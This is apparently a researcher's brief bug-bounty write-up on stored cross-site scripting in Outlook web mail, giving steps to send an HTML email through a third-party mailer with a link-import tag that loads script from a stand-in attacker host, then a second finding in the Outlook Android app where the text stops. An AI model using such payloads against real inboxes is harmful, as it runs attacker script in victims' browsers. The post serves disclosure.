ElMahdi Mrhassel
Nov 28, 2019 · 2 min read

Hello This is my first write up And i will Write about my First bug in Outlook
Some services, such as Gmail, Outlook, Yahoo etc, allow sending messages to A e-mail in those services with HTML content [ Content-Type: text/html ], but they filter the message content and only allow some Tags such as A — H1 — img etc
But when I tried to try if Outlook was filtering the message content well, I found that it was not doing so well that it did not filter Tag link, which allowing to attacker to fetch an external file containing Javascript codes | Html Codes and execute them in the victim’s browser

Steps To Reproduce :

1. Go To https://emkei.cz/ ( I use this site to send messages because it allows me to send messages with Content Type “text/html” )
2. Add Any Things in ( From E-Name And From E-mail And Subject )
3. Add Your Email Hotmail Test On Input ( To )
4. Click On text/html In Content-Type
5. Put ( <link rel=import href=https://Evilcom/filepayload> ) On Input ( Text ) And Submit
6. And Sign In To Your Email Hotmail Test
7. And Click On The Message And The Payload Will Executed !

Proof Of Concept :

Bug 2 : XSS Stored In com.microsoft.office.outlook

After they fixed the first Bug , I downloaded their application on Android [ com.microsoft.office.outlook ] and tried to send to a message containing a Simple XSS Payload the same first way and the sudden thing is that the message is not filtered at all and All html tags is printed without filter

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